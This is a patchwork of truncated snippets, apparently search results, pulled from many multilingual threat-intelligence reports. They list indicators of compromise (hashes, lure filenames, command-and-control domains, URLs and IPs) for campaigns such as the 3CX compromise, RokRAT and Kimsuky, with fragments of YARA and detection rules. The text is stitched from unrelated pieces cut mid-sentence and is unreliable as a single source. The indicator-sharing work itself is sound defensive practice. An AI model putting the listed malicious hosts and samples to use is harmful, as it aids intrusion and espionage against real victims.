927b3564c1cf884d2a05e1d7bd24362ce8563a1e9b85be776190ab7f8af192f6 SmoothOperator Malicious 3CX…","…973F7939EA03FD2C9663DAFC21BB968F56ED1B9A56B0284ACF73C3EE141C053C 99DBC6FE3C3E465052FCEFA1642861747DC9E069EEB244589B605BD710B1E0D1 A03D13C9825E150810E6E6AAF053D71EC5A53B86581414DD982A74D4A8BC5475 A64FA9F1C76457ECC58402142A8728CE34CCBA378C17318B3340083EEB7ACC67 B72CAAB78D164637FEA0937D7A94FC470579EC6BB4FA87DADB6F0FA7826E217C…","…MD5 4a43bafb4af0a038a7f430417bcc1b6e SHA1 438243575764a5e856951126674f72f20b2a0d6f SHA256 a0c461c94ba9f1573c7253666d218b3343d24bfa5d8ef270ee9bc74b7856e492 SHA512…","…다수 포착됐습니다. VT 1st Submission File Name C2 MD5 2017-09-04 16:12:38 UTC RMNCH proposal in DPRK.doc ftp.byethost6.com a0d332a95e2f42a7f26dd452c63938a4 2019-10-01 06:55:31 UTC 마켓팅플랜.hwp pelham-holles.com 70b84f854b86d2ee6349ed348ef824ac 2021-07-29 11:01:09 UTC economics…","…MD5 486370be06493d78a9922b3a6e424909 7756b4230adfa16e18142d1dbe6934af 8b77608db042b225ae8f59276ee3a165 a0dd33b6b8c3ac9bee46a95586df345f URL http://peras1.n-e.kr/ AhnLab EDR 의 행위 기반 탐지 및 대응 기능에 대해 더 알고 싶으시면, 아래 배너를 클릭하여 확인해 보세요.…","…MD5 486370be06493d78a9922b3a6e424909 7756b4230adfa16e18142d1dbe6934af 8b77608db042b225ae8f59276ee3a165 a0dd33b6b8c3ac9bee46a95586df345f URL http://peras1.n-e.kr/ To learn more about AhnLab EDR 's advanced behavior-based detection and reponse, please click…","…050e663bf6c97a953e25eb7e9754d656 07232fe7144b0286eb5c9882834eea96 0b41f93365ec443406df942914317ec7 85165e07b9f198a5e4047756eb779b46 a0fddb12d7b3c445fdb7ab602a5bf5fb URL http://nomonth-man.com/uio04/upload.php AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다.…","…Advanced Backdoor Type B) Malware 13: Active Backdoors 2 Filename: %name%.chm MD5: ad5485fac7fed74d112799600edb2fbf SHA1: a107f1046f5224fdb3a5826fa6f940a981fe65a1 File s ize: 1861632 bytes File t ype: PE32+ executable (DLL) (GUI) x86-64, for MS Windows Link t ime: 2016.12.08 00:55:06 (GMT)…","…34b7356722b992992f5382b0761466bc 3ad7a29a1f661034da0b3779a4046849 5573953bf4dafa96877dacf3435db228 94fdc2115ce7f4ab0234a1e26901cb1c a15c386db0a3d0d208042d0982f21f37 URL…","…and Control (T1102.002) Web Service: Bidirectional Communication IoC MD5 5F6682AD9DA4590CBA106E2F1A8CBE26 : LNK 파일 A1640EB8F424EBE13B94955F8D0F6843 : working.bat 78480139D86520BA82766C5B3C9A7479 : temp.dat 31AEB43B981D4D6272193E321BB21333 : public.dat 7BCE02DC0026E271615D4D0E441CA397…","…drive网盘服务链接打开的。同时也有着前文提及的可执行文件样本出现，可以看出攻击者正尝试更新钓鱼的手段。 IOC Hash： a2117f2058043ef757af6e5d45afa491 a164164ef82fa17605c49c36c67a6244 14a00f517012279af53118a491253e5c 224d2398437e665f3202d4118e4748e2 a2bfa52ac21ab618fb7f8af1261b6428…","…of Compromise) MD5 8e4a99315a3ef443928ef25d90f84a09 17171c644307b17d231ad404e25f08b1 31662a24560b3fe1f34f0733e65509ff a196fb11a423076f66f5e4b2d02813a9 ad3433f5f64abdec7868a52341f14196 c0cac70c93d213d113001e3410c24fd2 d2b2c6646535a62e4c005613d6a036f0 e726b59f96ab8360f323469d72b8b617 ea…","…or hash.sha256(“4c53e24db4b7858fd9d17de2bfc3d73096f41172dfcc31a807231acb97aff9d0”) or hash.sha256(“a19b9eb292395e0d84c4a1a8eb5c88abbe0f71060cd06a436bf79da914e3e0c1”) or // Detect specific URLs $url1 in url or $url2 in url or $url3 in url or // Detect persistence mechanism in the registry $reg_key…","…7f12fa589f56f6203c692715b3958d30 8406075af0a1e9ec09bafdc0de01f138 8c859a03814443c6f0da341ee594c352 a1c07ac866fb6b388e38c6bb1d4bbe94 a343d8bcf02a0554fa271452a512f3ce a435292106026e257789036a70ee1a14 a5701848f82c65a55765dc534111899f…","…f12db45c32bda3108adb8ae7363c342fdd5f10342945b115d830701f95c54fa9 077d9e0e12357d27f7f0c336239e961a7049971446f7a3f10268d9439ef67885 a1c483b0ee740291b91b11e18dd05f0a460127acfc19d47b446d11cd0e26d717 3c1e4c334629b20e21b8ab08b8aa19db738f2ed761290ffdd26665cd61cb7807 7c73619ff8d5e4ed3b29b7ae71a69602df4071fd8c1029f9674e9978cdc03de9…","…(2022.05.24.01) MD5 0054bdfe4cac0cb7a717749f8c08f5f3 4ef5e3ce535f84f975a8212f5630bfe8 a1c59fec34fec1156e7db27ec16121a7 c7b82b4bafb677bf0f4397b0b88ccfa2 d9b15979e76dd5d18c31e62ab9ff7dae URL…","…(2022.05.24.01) IoCs MD5s d9b15979e76dd5d18c31e62ab9ff7dae 4ef5e3ce535f84f975a8212f5630bfe8 a1c59fec34fec1156e7db27ec16121a7 c7b82b4bafb677bf0f4397b0b88ccfa2 0054bdfe4cac0cb7a717749f8c08f5f3 C&C Server Addresses…","…(GUI) x86-64, for MS Windows MD5 0856655351acffa1ee459eeeaf164756 SHA1 fe0f8a37887c8f8fb5eb3e8252a8df395b3e66e7 SHA256 a1cdb784100906d0ac895297c5a0959ab21a9fb39c687baf176324ee84095472 SHA512…","…891da2 2b2583019d83e657c219dd6510060f98ead8679e913d63c7f2ed5c52c0c2bb35 37feb1d71c6458f71b27dc1ba7cb4366ee30f9ae75b0322775fa70b8753eac27 a1f6ae788bf3f9ae17893f3b12d557f69b17fdb4f030ed5e5f66dbb6d2cc9d78 01e7405ddd5545ffb4a57040acc4b6f8b8a5cc328fa8172e1800a1cb49bdf15c 012063e0b7b4f7f3ce50574797112f95492772a9b75fc3d0934a91cc60faa240…","…7a53089053b1381742856a5cf2b95f8b 8db2f20b719dcb7029d6296505622093 900e832c10d851bbdef3fb191a15db0e a2015665a3e18bf0ef86e3931245c7e6 bb88940e915b11f6330b7446f6037f5b ce5932b88f879f26006df81f2fa7667e d0894d4626aae0f96d6b84ca3bb71a36…","…sophisticated malware. Impact Information Theft and Espionage Indicators of Compromise MD5 5b44285747891464c496aa477e450f10 a205d5bdfcd237462abaf6b9d3576c4a ed691e1e20160346094c08d2cebf0f32 SHA-256…","…Name a21171923ec09b9569f2baad496c9e16 Size 922624 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 a21171923ec09b9569f2baad496c9e16 SHA1 35ba8e39e6c8234ad55baf27130bb696179b7681 SHA256 133820ebac6e005737d5bb97a5db549490a9f210f4e95098bc9b0a7748f52d1f SHA512…","…在近期发现的样本中，攻击者将部分docx文件嵌入lnk文件内。不过在攻击的执行过程中，诱饵文档仍然是通过浏览器访问google drive网盘服务链接打开的。同时也有着前文提及的可执行文件样本出现，可以看出攻击者正尝试更新钓鱼的手段。 IOC Hash： a2117f2058043ef757af6e5d45afa491 a164164ef82fa17605c49c36c67a6244 14a00f517012279af53118a491253e5c 224d2398437e665f3202d4118e4748e2…","…MD5 악성 LNK Trojan.Agent.LNK.Gen C7D258F44B4A09850D7CB9A0142EA88E MD5 kid1253514379.bat Trojan.BAT.Agent A253FA2200E4BA4D64592D87DB81B8F6 MD5 init.dat Trojan.BAT.Agent A405090029B6B95A65A8884593DFE30D MD5 init.dat Trojan.BAT.Agent…","…2) https://thehackernews.com/2023/03/scarcrufts-evolving-arsenal-researchers.html MD5 393cba61a23bf8159053e352abdd1a76 a25acc6c420a1bb0fdc9456b4834c1b4 URL http://hmcks.realma.r-e.kr/gl/ee.txt AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다.…","…MD5 53b68b9304a0462761917608ca4e60e7 3d14dd06d85f513dfa96d875fdcc0298 0cbc6df98ce1d302f51714e100560a4d a26c2442743d234ccd3b0d104e13a798 3439de0b221320f58e3432c2672c4074 a489b72510dfd07e6d05b07e8547cf25 9edbd2f21b81183770fd767b31c2458c 959e71b8f743a202eb80b65acbb60f7c d8…","…File Analysis File Name 2024년 귀속 연말정산 안내문_세한.docx.lnk File Size 1.54 MB (1610903 bytes) Signed Not signed MD5 a2785ec65622217be80174b887b1eb06 SHA-256 b81513f0f8d3db382bb8f931bf2b7a0d4f26f74cfcf60b5d889de87ef2f1d543 Last Modified 24-02-2025 The ‘Target’ field in the…","…135b74e 5f6303697bf8e978bf674ea8a7094673 cb82751ae9f84709268fd5e5b135b74e d87ba0743c3de99f02b277068b9aea95 1cfef99f68b749d81736397e652c3d87 a27a6dbb2144f2dff187d8abc7b3eafb ● MD5 (Mustang Panda / PlugX) 5eae3d3b9aeeb0a4186ad3b68ff2da59 a7c5797956520905f71ab79873bcf950 9eb0b3e2f61ef255ef51ace86381a258 ●…","…27e3921 a27a9324d282d920e495832933d486ee 3f326da2affb0f7f2a4c5c95ffc660cc 490c885dc7ba0f32c07ddfe02a04bbb9 712a8e4d3ce36d72ff74b785aaf18cb0 a27a9324d282d920e495832933d486ee f2a0e9034d67f8200993c4fa8e4f5d15 Domains markettrendingcenter.com lm-career.com advantims.com Related…","…Korean Human Rights\" Campaign: Maldoc sha256: 171e26822421f7ed2e34cc092eaeba8a504b5d576c7fd54aa6975c2e2db0f824 Dropper #1: a29b07a6fe5d7ce3147dd7ef1d7d18df16e347f37282c43139d53cce25ae7037 Dropper #2: eb6d25e08b2b32a736b57f8df22db6d03dc82f16da554f4e8bb67120eacb1d14 Dropper #3:…","…(GUI) Intel 80386, for MS Windows MD5 f2b9d1cb2c4b1cd11a8682755bcc52fa SHA1 579884fad55207b54e4c2fe2644290211baec8b5 SHA256 a2a77cefd2faa17e18843d74a8ad155a061a13da9bd548ded6437ef855c14442 SHA512…","…HOTCROISSANT SHA-256: 8ee7da59f68c691c9eca1ac70ff03155ed07808c7a66dee49886b51a59e00085 94.177.123.138 CROWDEDFLOUNDER SHA-256: a2a77cefd2faa17e18843d74a8ad155a061a13da9bd548ded6437ef855c14442 SLICKSHOES SHA-256: fdb87add07d3459c43cfa88744656f6c00effa6b7ec92cb7c8b911d233aeb4ac 188.165.37.168 BISTROMATH SHA-256:…","…a remote process. 5cb7a352535b447609849e20aec18c84d8b58e377d9c6365eafb45cdb7ef949b Tags HIDDEN-COBRAtrojan Details Name A2B1A45A242CEE03FAB0BEDB2E460587 Size 130560 bytes Type PE32 executable (DLL) (console) Intel 80386, for MS Windows MD5 a2b1a45a242cee03fab0bedb2e460587…","…5a e0d73c941e3792f7c753724c0c064de8 9f8e51f4adc007bb0364dfafb19a8c11 db315d7b0d9e8c9ca0aa6892202d498b f5b14052e15aea78d2da695276f585c8 A2BE99A5AA26155E6E42A17FBE4FD54D e24bbbd3b32ca2fd3b8fb76f036cb4bb 790a21734604b374cf260d20770bfc96 d3a988a9750cb6582310c806fa32d4f1 805949896d8609412732ee7bfb44900a 1b…","…a164164ef82fa17605c49c36c67a6244 14a00f517012279af53118a491253e5c 224d2398437e665f3202d4118e4748e2 a2bfa52ac21ab618fb7f8af1261b6428 f316f341f923c1598dbbb6967c1c66e2 0efc5c754b6739be19d5478fdffde7f5 c1f725abaf4e82ff1a4042f84d226643…","…주요 침해 지표 (Indicator of Compromise) ● MD5 1af7148dc027753297e0f28770f16d4e a2c40c8b4aebee3f558ffb0f0e807852 c8c9fef7678d9d3e3dedef57b328c080 23fbc0f35f33ec0abc100e0dd5e21033 3e16b90540bb6086c604d0353f5f9a7f d6f4d4a85d7b8b940bf6155806d6f930 d8047ac…","…used to trick the user to enable macros and not raise suspicion. Extracted worksheet The second Excel file, VSDB688.tmp (Sha256: a2d3c41e6812044573a939a51a22d659ec32aea00c26c1a2fdf7466f5c7e1ee9), is used to retrieve a PNG file that is parsed later by the macro to extract two executable files and the encrypted backdoor.…","…Size 166400 bytes Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows MD5 12c786c490366727cf7279fc141921d8 SHA1 a2e966edee45b30bb6bb5c978e55833eec169098 SHA256 d8af45210bf931bc5b03215ed30fb731e067e91f25eda02a404bd55169e3e3c3 SHA512…","…Hashes 650b7d25f4ed87490f8467eb48e0443fb244a8c4 65e7d2338735ec04fd9692d020298e5a7953fd8d 166e8c643a4db0df6ffd6e3ab536b3de9edc9fb7 a2e966edee45b30bb6bb5c978e55833eec169098 Domains 530hr.com/data/common.php 028xmz.com/include/common.php 168wangpi.com/include/charset.php Falcancoin.io…","…Indicator of Compromise MD5 a2ee8d2aa9f79551eb5dd8f9610ad557 ae7e18a62abb7f93b657276dcae985b9 d5fe744b9623a0cc7f0ef6464c5530da f6d72abf9ca654a20bbaf23ea1c10a55 fd9099005f133f95a5b699ab30a2f79b 5e…","…[그림 4] 이미지에 삽입되어있는 쉘코드 최종적으로 실행되는 RokRAT 악성코드는 사용자 정보를 수집하고, 공격자의 명령에 따라 다양한 악성 행위를 수행할 수 있어 각별한 주의가 요구된다. MD5 a2ee8d2aa9f79551eb5dd8f9610ad557 d5fe744b9623a0cc7f0ef6464c5530da e13c3a38ca58fb0fa9da753e857dd3d5 e4813c34fe2327de1a94c51e630213d1 AhnLab TIP 를 구독하시면 연관…","…user information and perform various malicious behaviors according to the threat actor’s commands, so extra caution is advised. MD5 a2ee8d2aa9f79551eb5dd8f9610ad557 d5fe744b9623a0cc7f0ef6464c5530da e13c3a38ca58fb0fa9da753e857dd3d5 e4813c34fe2327de1a94c51e630213d1 Gain access to related…","…침해 지표 (Indicator of Compromise) MD5 a2ee8d2aa9f79551eb5dd8f9610ad557 ae7e18a62abb7f93b657276dcae985b9 d5fe744b9623a0cc7f0ef6464c5530da f6d72abf9ca654a20bbaf23ea1c10a55 fd9099005f133f95a5b699ab30a2f79b 5e…","…8406075af0a1e9ec09bafdc0de01f138 8c859a03814443c6f0da341ee594c352 a1c07ac866fb6b388e38c6bb1d4bbe94 a343d8bcf02a0554fa271452a512f3ce a435292106026e257789036a70ee1a14 a5701848f82c65a55765dc534111899f aa9d5dd632bb90addca480eaa5ff4382…","…파일명 북한연구학회 _2017 하계학술회의패널신청서 .hwp 경로 D: \\ HighSchool \\ version 13 \\ First-Dragon(VS2015) \\ Sample \\ Release \\ DogCall.pdb MD5 a36fcd7190b706e0c9eb4ef943db8487 [ 표 21] ‘ 북한연구학회 ~ .hwp ’ 를 통해 설치되는 악성파일 정보 Threat Intelligence Report Genians Security Center 32 파일명…","…대해 다음과 같이 진단하고 있다. [파일 진단] Downloader/XSL.Kimsuky Backdoor/Win.AppleSeed.R504704 MD5 1ac5b803205b1c3464941df2c21958e7 a3786f14c85842861aa3493ec30be949 URL http://hime.dothome.co.kr/exchange/ http://sign.dothome.co.kr/login/ AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로…","…The open directory shows a single ELF file: File name: nvd SHA256:a3876a2492f3c069c0c2b2f155b4c420d8722aa7781040b17ca27fdd4f2ce6a9 Size: 96 KB. Fig.…","…MD5 kid1253514379.bat Trojan.BAT.Agent A253FA2200E4BA4D64592D87DB81B8F6 MD5 init.dat Trojan.BAT.Agent A405090029B6B95A65A8884593DFE30D MD5 init.dat Trojan.BAT.Agent https://raw.githubusercontent.com/pa*****/c****/refs/heads/main/init.dat URL…","…8c859a03814443c6f0da341ee594c352 a1c07ac866fb6b388e38c6bb1d4bbe94 a343d8bcf02a0554fa271452a512f3ce a435292106026e257789036a70ee1a14 a5701848f82c65a55765dc534111899f aa9d5dd632bb90addca480eaa5ff4382 af3fa7f22f6e97901f20326cc12bdb49…","…rule DriveTroy_Linux { meta : description = \"DriveTroy - Go-based Linux backdoor abusing Google Drive\" date = \"2026-05-28\" hash = \"a452a860f973c7a43ea804c17e9427d2\" strings : $ns1 = \"jira/payload/gdrive.\" $ns2 = \"jira/payload/common.\" $ns3 = \"jira/payload/common/transfer.\" $svc1 = \"cachelogd\"…","…Backdoor/Win32.Akdoor 2017.05.26.03 566cc6129dc887629a7131821c7547e5 Trojan/Win32.Agent 2017.06.12.00 a45ba001c3abee03bda49c6816d9a17c Backdoor/Win32.Agent 2019.01.08.00 IoC ( I ndicator s of Compromise) 정보 1 . MD5 2019 사업계획서 .hwp{ 공백 }.exe…","…of the attack-chain is similar to the previous cases. For the purpose of technical analysis, we will consider the HWP file with MD5 hash: a4706737645582e1b5f71a462dd01140 Filename: 3.…","…e7 3d14dd06d85f513dfa96d875fdcc0298 0cbc6df98ce1d302f51714e100560a4d a26c2442743d234ccd3b0d104e13a798 3439de0b221320f58e3432c2672c4074 a489b72510dfd07e6d05b07e8547cf25 9edbd2f21b81183770fd767b31c2458c 959e71b8f743a202eb80b65acbb60f7c d8508b3c7ba4f2b9ed1cf3ff28fd6b83 22a477da55c7391dd0fc6176241d108e…","…침해 지표 (Indicator of Compromise) ● MD5 1e66ac680d0edfe18d97b89e46c7e82e eb08ab3854168c834ab154facfe695a3 a4bd6d00abbd79ab00161ff538cfe703 3e3013fe03f7416b8d1e96591f8e5839 c700195f61635b9a6fb1ee4359b91940 fcdcc6c56ae43f7a78413cc5204e9314 781acd3a8250da862e48425d078b54ad 32519b4…","…4d8552 176e8a5a7b6737f8d3464c18a77deef778ec2b9b42b7e7eafc888aeaf2758c2d 48ee5d0d44a015876d867fa515b04c1998fecf19badcbd69f4f3fa8497d57215 a4cab67569d0b35c249dc536fb25dabdc12839ed4e945c59ec826c0a241b792a SHA1…","…VBS脚本释放的DLL文件基本信息如下。 文件名 wg5Du.iWJ446 MD5 a4d58f1bcce687d4ea60a3fe60120d5e 编译时间 2022-08-23 09:24:13 UTC 文件类型 PE DLL 64-bit 文件大小 457728字节…","…Indicators of Compromise MD5 7a6b45351afef3f5d8015e0fb13342ba 0f5ae560bbaadc7244c6c75da30a101b 501ee5b43833e35a6be3a2f0f977bb7c a5396648475416fcbbedb16470ab98cc f558987b89e65c49739f9b6f69e3c088 SHA-256…","…v: 20500 size: 1887 flags: 0x10000(runtime) hashes: 48+7 location: embedded Hash type: sha256 size=32 CandidateCDHash sha256: a55029c963ff454e42483b9b6f0293dc546e06b2 CandidateCDHashFull sha256: a55029c963ff454e42483b9b6f0293dc546e06b2fb71e6ebaa4c6f146a9906a3 Hash choices: sha256 CMSDigest:…","…embedded Hash type: sha256 size=32 CandidateCDHash sha256: a55029c963ff454e42483b9b6f0293dc546e06b2 CandidateCDHashFull sha256: a55029c963ff454e42483b9b6f0293dc546e06b2fb71e6ebaa4c6f146a9906a3 Hash choices: sha256 CMSDigest: a55029c963ff454e42483b9b6f0293dc546e06b2fb71e6ebaa4c6f146a9906a3 CMSDigestType: 2 CDHash:…","…variant on the same server. MD5 ad4eababfe125110299e5a24be84472e SHA1 94db86c214f4ab401e84ad26bb0c9c246059daff SHA256 a557a0c67b5baa7cf64bd4d42103d3b2852f67acf96b4c5f14992c1289b55eaa Link time 2021-04-15 04:36:00 File type PE32 executable (GUI) Intel 80386, for MS Windows File size 763.67 KB File name…","…IOCs md5 a56edfef94008c77abfb4e151df934d9 30d5f17d5e3f85be18220a7cab0b9fff 5e9a80d3d4f71ecd8bf8e579a5e2449c f692c1dd797f68c34744a377482c4ed4 b77e4e9f5897f00dcbd08b2ee9bde7e8 74…","…a1c07ac866fb6b388e38c6bb1d4bbe94 a343d8bcf02a0554fa271452a512f3ce a435292106026e257789036a70ee1a14 a5701848f82c65a55765dc534111899f aa9d5dd632bb90addca480eaa5ff4382 af3fa7f22f6e97901f20326cc12bdb49 b406ea5b8628cb7801f47c0189b96182…","…(PebbleDash) 22 MD5 31345cc286bfb2b3edcee6c960f11c3f (PebbleDash) 23 MD5 a573b15586e4313832f269b162a04514 (PebbleDash) 24 MD5 2c98bfc9f76352c82dc57edd98dce9a8 (PebbleDash) 25 C2…","…Campaign: Office sha256: f1419cde4dd4e1785d6ec6d33afb413e938f6aece2e8d55cf6328a9d2ac3c2d0 HTA sha256: a585849d02c94e93022c5257b162f74c0cdf6144ad82dd7cf7ac700cbfedd84f JS sha256: 1893af524edea4541c317df288adbf17ae4fcc3a30d403331eae541281c71a3c PoohMilk sha256:…","…ec 0171338d904381bbf3d1a909a48f4e92 0777781dedd57f8016b7c627411bdf2c 94935397dce29684f384e57f85beeb0a a9a52e2f2afe28778a8537f955ee1310 a58ef1e53920a6e528dc31001f302c7b ad6273981cb53917cb8bda8e2f2e31a8 d4b06cb4ed834c295d0848b90a109f09 d6aa7e9ff0528425146e64d9472ffdbd C2…","…유사 공격에 대해 사전 예방할 필요가 있다. MD5 641593eea5f235e27d7cff27d5b7ca2a 70d92e2b00ec6702e17e266b7742bbab 876dbd9529f00d708a42f470a21a6f79 a5cca2b56124e8e9e0371b6f6293e729 a8976e7dc409525a77b0eef0d0c3c4f2 IP 159.100.13.216 213.145.86.223 216.219.87.41 64.20.59.148 AhnLab TIP 를 구독하시면 연관…","…such attacks in advance. MD5 641593eea5f235e27d7cff27d5b7ca2a 70d92e2b00ec6702e17e266b7742bbab 876dbd9529f00d708a42f470a21a6f79 a5cca2b56124e8e9e0371b6f6293e729 a8976e7dc409525a77b0eef0d0c3c4f2 IP 159.100.13.216 213.145.86.223 216.219.87.41 64.20.59.148 Gain access to related…","…800f9ffd063dd2526a4a43b7370a8b04fbb9ffeff9c578aa644c44947d367266 941cd0662cae55bc06727f1d658aba67f33442e63b03bebe012dad495e9e37dc a606716355035d4a1ea0b15f3bee30aad41a2c32df28c2d468eafd18361d60d6 a984a5ac41446db9592345e547afe7fb0a3d85fcbbbdc46e16be1336f7a54041 b183625c006f50f2b64ebe0aebda7b68ae285e53d1b4b00c8f49cde2dfc89348…","…criteria paired with the malicious hashes for the parent 3CXDesktopApp.exe . These known SHA256 hashes offer quality indicators: a60a61bf844bc181d4540c9fac53203250a982e7c3ad6153869f01e19cc36203 (18.12.416) 5d99efa36f34aa6b43cd81e77544961c5c8d692c96059fef92c2df2624550734 (18.12.416)…","…x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|WEAK_DEFINES|BINDS_TO_WEAK|PIE> MD5 4eedb2df53597a15fd48b726d85517f0 SHA1 a60ece7673fa415abe1fb97ac60e19ee446858b1 SHA256 c0c2239138b9bc659b5bddd8f49fa3f3074b65df8f3a2f639f7c632d2306af70 SHA512…","…5 81c08366ea7fc0f933f368b120104384 723f80d1843315717bc56e9e58e89be5 7822e53536c1cf86c3e44e31e77bd088 324688238c42d7190a2b50303cbc6a3c a635bd019674b25038cd8f02e15eebd2 beeaca6a34fb05e73a6d8b7d2b8c2ee3 d5d48f044ff16ef6a4d5bde060ed5cee d77c8449f1efc4bfb9ebff496442bbbc 2f431c4e65af9908d2182c6a093bf262 7c…","…660ea9b8205fbd2da59fefd26ae5115c 769383fc65d1386dd141c960c9970114547da0c2 a64fa9f1c76457ecc58402142a8728ce34ccba378c17318b3340083eeb7acc67 82187ad3f0c6c225e2fba0c867280cc9 20d554a80d759c50d6537dd7097fed84dd258b3e…","…Bytes) File Type Mach-O MD5 660ea9b8205fbd2da59fefd26ae5115c SHA1 769383fc65d1386dd141c960c9970114547da0c2 SHA256 a64fa9f1c76457ecc58402142a8728ce34ccba378c17318b3340083eeb7acc67 The macOS version does not use GitHub to retrieve its C2 server.…","…There are at least two variants of this file (SHA256: a64fa9f1c76457ecc58402142a8728ce34ccba378c17318b3340083eeb7acc67 and fee4f9dabc094df24d83ec1a8c4e4ff573e5d9973caa676f58086c99561382d7) and they seem to relate to different versions of the software.…","…3CX DMG SHA256 hash: e6bbc33815b9f20b0cf832d7401dd893fbc467c800728b5891336706da0dbcec libffmpeg.dy SHA256 hashes: a64fa9f1c76457ecc58402142a8728ce34ccba378c17318b3340083eeb7acc67 479038eb12ed07893ee0dcc04fbdcf182489bbb271f5a4f90f83874881a80ce3 2546d239a262c24a6f8ea01d890cbc459a22db79b379b6ec3b24fbb56efb5381…","…29 2ff911b042e5d94dd78f744109851326 3cd67d99bcc8f3b959c255c9e8702e9f 6ead104743be6575e767986a71cf4bd9 658a8856d48aabc0ecfeb685d836621b a6588c10d9c4c2b3837cd7ce6c43f72e a75196b7629e3af03056c75af37f37cf aa41e4883a9c5c91cdab225a0e82d86a ab75a54c3d6ed01ba9478d9fecd443af SHA-256…","…Theft and Espionage Sensitive Data Exposure Indicators of Compromise IP 101.36.114.190 MD5 ba00e1a70e5da6ed610652a93e7cc7dd a6598bbdc947286c84f951289d14425c 85f5075610661c9706571a33548d7585 d414e3718ad82a9925339ac8338b77a6 SHA-256…","…MD5 TrollAgent DLL 2e5f2a154e1b67cd0d6a2f6b5feb6de7 MD5 TrollAgent DLL 045f28a479ba19a95c0407a663e2f188 MD5 TrollAgent DLL a67cf9add2905c11f5c466bc01d554b0 MD5 TrollAgent DLL 3b596ca429cf1b733f1ff3676189e44a MD5 TrollAgent DLL 88f183304b99c897aacfa321d58e1840 MD5 TrollAgent DLL…","…IOCs Hash e78be07019dfaf682c601985ac3ba424 108b5fd1b62489fd5cdb4ebd4a463226 42d24ccfb0a05c5f299181ca3afc7ae3 a6c26a0b5df0db6a35b15c24342f27f8 6e5198c3aae9005cc58d011a8c6f0bec 81bfe3b3204ede1fca418e44aa19b310 52a321e48902b8fbd1e984d9bd15f278…","…2d4589 82f446528560789d2f79a9c5f1b8cf3e5eb20468bd567ef9735672748aa00b06 899b2da752ad50f525e364f0af930dec91a128effbe8bb601803226604038d5b a6cffde5684ca81e4f19ba77300bb255ea29cae57e5f78b20dad6be99bf0fb84 ab269279818db7e98c9c8899ad8e7a2b8b3cf6f51b24fb487720c15e7cd3546e b2ed5f272a518368cc453b940460b41f80bfa1b680ed9513a7ff6b365bd6ed7c b3f390…","…The MS CAB file (md5: 8844a537e7f533192ca8e81886e70fbc) contains 4 malicious DLL files: MD5 Filename a6f14b547d9a7190a1f9f1c06f906063 cfgifut.dll e51ce28c2e2d226365bc5315d3e5f83e cldbct.dll 067681b79756156ba26c12bc36bf835c cryptbase.dll…","…(GUI) Intel 80386, for MS Windows MD5 aa7924157b77dd1ff749d474f3062f90 SHA1 4f02a6bf2b24c371e9f589cff8e32b4d94cf4f29 SHA256 a71017302e1745c8a3d6e425187eb23c7531551bb6f547e47198563a78e933b6 SHA512…","…MD5 29efd64dd3c7fe1e2b022b7ad73a1ba5 2c69c4786ce663e58a3cc093c6d5b530 4f1b1124e34894398aa423200a8ab894 a714b928bbc7cd480fed85e379966f95 URL…","…inject_api Size 19328 bytes Type 64-bit XCOFF executable or object module MD5 58bb2236e5aee39760d3e4fc6ee94a79 SHA1 a74dd2f9723dfb74d0d7b15294622b6ccc0b9562 SHA256 f3e521996c85c0cdb2bfb3a0fd91eb03e25ba6feef2ba3a1da844f1b17278dd2 SHA512…","…26 3cd67d99bcc8f3b959c255c9e8702e9f 6ead104743be6575e767986a71cf4bd9 658a8856d48aabc0ecfeb685d836621b a6588c10d9c4c2b3837cd7ce6c43f72e a75196b7629e3af03056c75af37f37cf aa41e4883a9c5c91cdab225a0e82d86a ab75a54c3d6ed01ba9478d9fecd443af SHA-256…","…MD5 f5475608c0126582081e29927424f338 SHA256 a75886b016d84c3eaacaf01a3c61e04953a7a3adf38acf77a4a2e3a8f544f855 Creation Time 2021-01-09 02:06:32 Export Table 이전 stage와 마찬가지로 파라메터를 체크한다.…","…and Team T5, Inc. APT Threat Landscape in Japan 2020 Tick f32f8ca082b53db965eb91576c3566a7e0ad41f21c79a5a9b54c5be473d9aa5c a77b04b1c809c837eafaa44b8457c230fdddd680c88990035439fc9ed2493804 e4ac9f5e4ab6b324e4dbb70fe\u001f4a17351c29ebce637d39d5a5197f07dd02b18 154.223.179.14:443 SHA256 SHA256 SHA256 C2Excute/Netboy (OAED…","…description.doc?dl=1 Hashes dc06b737ce6ada23b4d179d81dc7d910a7dbfdde a79488b114f57bd3d8a7fa29e7647e2281ce21f6 7e70793c1ca82006775a0cac2bd75cc9ada37d7c 535f212b320df049ae8b8ebe0a4f93e3bd25ed79 1dd8eba55b16b90f7e8055edca6f4957efb3e1cd afb2595ce1ec…","…API Name En/Decoding 로직이 추가된 golddragon/braveprince 악성코드 md5 : E647B3366DC836C1F63BDC5BA2AEF3A9 sha1 : A7B0711B45081768817E85D6FC76E23093093F87 sha256 : 3903958EB28632AA58E455EB87482D1CCEF38A6FE43512BAAD30902E8BFDD6D5 E11E2425C62F34EBB3F640BAEEFB67D5…","…to connect to the domain. 3ff4ebae6c255d4ae6b747a77f2821f2b619825c7789c7ee5338da5ecb375395 Tags trojan Details Name A7C804B62AE93D708478949F498342F9 Size 128512 bytes Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows MD5 a7c804b62ae93d708478949f498342f9 SHA1…","…따라서 사용자들은 메일 뿐아니라 확인되지 않은 불분명한 발신인에게 받은 문서 파일의 열람은 절대 하지 않아야하며 지속적인 주의에 대한 경각심을 갖어야 한다. MD5 8451be72b75a38516e7ba7972729909e a7c8997777fef77a9d09c4f96e9a92e4 fb62b1ef85a58b7a9f04d016fbe616f5 Tags: HWP 한글문서 한글취약점 Previous…","…79076febac7abad26ae1c570c4de41fb51c6a5a82b97ec5299005d8e9f66e5a9 AccountStore.bak 66037fc3c489d099107e2d3cddd33569 a7e34ed64337893752eadfbfae9a516c8b482329 c1d6a5940045b7ff0063b85d89750979d8501d52815b0134fb556f2c12210369 ApplicationCacher-f0182c1a4.rbs…","…침해 지표 (Indicator of Compromise) MD5 7449b3528dffeb2babfc113308e47bb7 1827287811ef97153d0ea850673ecec1 a7f908d3f49b4f53e7f658071aff5410 b9d52717f3f9e32258bd2e8260d27ef1 b9ef6b03d44891ec8766643514fe3294 